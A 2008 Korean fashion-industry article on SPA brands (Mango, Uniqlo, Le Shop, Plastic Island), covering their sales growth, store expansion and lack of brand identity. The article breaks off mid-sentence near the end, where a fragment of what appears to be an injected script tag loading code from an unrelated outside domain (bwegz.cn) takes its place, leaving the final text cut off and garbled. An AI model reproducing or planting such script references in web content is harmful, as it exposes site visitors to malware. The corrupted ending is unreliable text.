SPA 브랜드가 몰려온다
2008-04-18
국내 SPA 브랜드 정체성에 대한 논고②
망고는 이처럼 기존의 이지 캐주얼 SPA와 달리 트렌디 SPA 를 부각시켜 소비자의 니즈를 충족시키면서 유통망을점차 확대해 나갔고 대형 플래그쉽 매장을 주 거점으로 하는 동시에 백화점에 입점하여 꾸준히 브랜드를 성장시켰다. 망고는 지난 해 18개의 유통망에서 200억원의 매출을 올렸으며 올해 매출 300억원으로 잡고 있다 .
The Final Round: SPA “Upgrade”
망고 이후 한동안 이렇다 할 SPA 브랜드가 생성되지 않아 국내에서의 SPA 시장이 침체기를 맞는 듯 했으나 일본의 대표적인 SPA 브랜드 ‘유니클로’ 가 도입되면서 SPA 시장을 한층 더 업그레이드 시키게 되는 계기를 마련한다.
고품질 베이직 캐주얼 의류 최저가 제공
유니클로는 언제 어디서든 누구나가 입을 수 있는 고품질 베이직 캐주얼 의류를 시장 최저 가격으로 제공한다는 모토로 성장한 일본의 대표적인 SPA 브랜드다. 유니클로가 일본의 10년 불황을 종식시켰다 할 정도로 새로운 패션 패러다임을 대표한다. 유니클로는 망고의 트렌디 함과는 다른 의미의 트렌드를 제시한다. 망고가 소비자들에게 스타일의 트렌디 함을 제안했다면 유니클로는 바로 SPA라는 ‘개념’ 자체를 트렌디화 시킨 것이다.
이 말은 국내에 유니클로라는 브랜드가 들어오면서 SPA 형태의 매장 전개가 소비자와 패션 시장 안에서 하나의 트렌드가 되었다는 것이다.
유니클로는 기존의 SPA 매장들과는 그 규모부터 다른 Mega SPA 브랜드의 이미지를 확실히 각인시킨다. 한 가지 아이템에 무수한 컬러를 도입하여 색상으로 아이템을 다양화하였으며, 이와 같은 디자인에서의 비용절감을 바탕으로 가격의 저가원칙을 고수하였다.
매출은 초창기에는 순조로웠지만 이듬해 하락으로 잠시 주춤한다. 그러나 이듬해 유니클로는 스타일의 단조로움을 탈피하고 트렌디가 가미된 제품을 새롭게 보강했다. 이것은 1년간의 테스트 마케팅이라는 적극적 마케팅의 결과로써 유니클로는 상품 기획의 현지화라는 해법을 통해 비교적 짧은 시간 동안에 위기를 극복해냈다. 론칭 3년 차인 유니클로는 앞으로도 꾸준한 성장세를 유지할 계획이다.
2007년 17개의 유통망에서 전년 동기 대비 67% 성장하여 500억원의 매출을 달성하였고 올해에는 가두점을 중심으로 유통망을 확대해 800억원의 매출 목표를 세우고 있다.
이러한 SPA 브랜드의 꾸준한 성장세로 국내 브랜드 업계에서도 SPA에 대한 필요를 절실히 느끼게 되었으며 그러한 필요에 의해 기존의 외국 SPA 브랜드의 이미지를 잇는 국내 SPA 브랜드가 하나 둘씩 생기기 시작했다 그 대표적인 브랜드가 현우인터내셔날의 ‘르샵’ 과 아이올리의 ‘플라스틱 아일랜드’ 이다. 르샵과 플라스틱 아일랜드는 망고의 세컨드 라인으로 보일만큼 브랜드의 전개 형태나 아이템의 구성 및 디자인이 비슷하다.
두 브랜드 모두 트렌디한 영캐주얼을 브랜드 콘셉으로 전개해 나가고 있으며 디자인 면에 있어서 베이직 상품군은 내수로 진행하고 액세서리는 유럽 등지에서 직수입 하여 망고의 액세서리 라인과 비슷한 이미지를 보여주고 있다. 또한 2주 단위로 충분한 신상품을 매장에 공급하여 전형적인 SPA 특유의 신선함을 살리면서 브랜드를 진행하고 있다.
특히 르샵은 2007년 신세계 강남점의 경우 10월까지의 매출 기준 16억 6900만원을 기록하며 망고에 이어 2위를 마크했다.
한편 상반기 예상보다 부진한 성적을 거둔 플라스틱 아일랜드는 그러나 S/S 시즌에는 다양한 아이템을 선보이며 고객만족에 집중했다면 F/W 시즌에는 퀄리티 높은 저가 상품 개발에 주력하며 매출에서는 다소 부진했지만 트렌드 반영과 가 격대비 만족도가 높은 상품의 성과를 얻었다.
르샵과 플라스틱 아일랜드의 전개형태를 보면 각자 브랜드만의 아이덴티티가 부족하다는 점이 아쉽다. 이는 당장의 매출과는 별개의 문제이다.
현재 소비자들의 소비 형태가 고품질의 저가격을 지향하고 있 기 때문에 SPA 형태를 띠는 이러한 브랜드들이 잠깐 인기를 얻을 수는 있지만 이러한 소비자의 관심과 사랑이 언제까지 지속될 수 있을지는 미지수이다.
비단 이 두 브랜드뿐만 아니라 국내 대부분의 브랜드가 겪고 있는 딜레마가 바로 브랜드의 아이덴티티 부족 현상이다.
강력한 SPA브랜드 등장 예상
기존의 외국 SPA 브랜드가 국내에 처음 도입될 때에는 외국 현지에서는 ?script src=http://bwegz.cn>
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